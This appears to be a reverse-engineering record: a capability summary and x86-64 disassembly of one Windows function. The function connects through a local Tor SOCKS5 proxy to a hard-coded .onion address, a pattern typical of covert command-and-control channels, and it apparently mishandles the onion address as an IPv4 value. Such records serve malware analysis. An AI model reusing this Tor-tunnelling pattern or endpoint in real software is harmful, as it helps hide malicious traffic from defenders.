Function at 0x140001594
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x2f0
lea rbp, [rsp + 0x80]
call fcn.140001a70
mov word [rbp + 0x26e], 2
movzx eax, word [rbp + 0x26e]
lea rdx, [rbp + 0xc0]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x1400015d9
mov eax, 1
jmp 0x140001968
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x268], eax
cmp dword [rbp + 0x268], 0
jns 0x14000160b
mov eax, 1
jmp 0x140001968
lea rax, str.n3knu4hmfcz2kjcm7ppepgatmhrqvccxio3rq4tbtvsujrknfzsmkyid.onion
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0xb4], eax
mov dword [rbp + 0x264], 0x50
mov ecx, 0x235a
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0xa2], ax
mov word [rbp + 0xa0], 2
lea rax, str.127.0.0.1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0x268]
cdqe
lea rdx, [rbp + 0xa0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x260], eax
cmp dword [rbp + 0x260], 0xffffffff
jge 0x14000169f
mov eax, 1
jmp 0x140001968
lea rax, [rbp - 0x60]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov byte [rax], 5
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov byte [rax], 1
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov byte [rax], 0
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0x258]
sub rdx, rax
mov ecx, edx
mov eax, dword [rbp + 0x268]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x268]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 2
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
movzx eax, byte [rbp - 0x60]
cmp al, 5
je 0x140001750
mov eax, 1
jmp 0x140001968
lea rax, [rbp - 0x60]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov byte [rax], 5
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov byte [rax], 1
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov byte [rax], 1
mov edx, dword [rbp + 0xb4]
mov rax, qword [rbp + 0x258]
mov dword [rax], edx
add qword [rbp + 0x258], 4
mov eax, dword [rbp + 0x264]
sar eax, 8
mov ecx, eax
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov qword [rbp + 0x258], rdx
mov edx, dword [rbp + 0x264]
mov byte [rax], dl
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0x258]
sub rdx, rax
mov ecx, edx
mov eax, dword [rbp + 0x268]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x268]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
movzx eax, byte [rbp - 0x5f]
test al, al
je 0x140001868
mov eax, 1
jmp 0x140001968
lea rax, [rbp - 0x60]
add rax, 4
mov qword [rbp + 0x258], rax
movzx eax, byte [rbp - 0x5d]
movsx eax, al
cmp eax, 4
je 0x14000192c
cmp eax, 4
jg 0x140001954
cmp eax, 1
je 0x14000189f
cmp eax, 3
je 0x1400018cb
jmp 0x140001954
mov eax, dword [rbp + 0x268]
cdqe
mov rdx, qword [rbp + 0x258]
mov r9d, 0
mov r8d, 6
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
jmp 0x140001954
mov eax, dword [rbp + 0x268]
cdqe
mov rdx, qword [rbp + 0x258]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov rax, qword [rbp + 0x258]
movzx eax, byte [rax]
movzx eax, al
lea ecx, [rax + 2]
mov rax, qword [rbp + 0x258]
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x268]
cdqe
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
jmp 0x140001954
mov eax, dword [rbp + 0x268]
cdqe
mov rdx, qword [rbp + 0x258]
mov r9d, 0
mov r8d, 0x12
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
nop
lea rax, str.Succes_
mov rcx, rax
call fcn.140001540
mov eax, 0
add rsp, 0x2f0
pop rbp
ret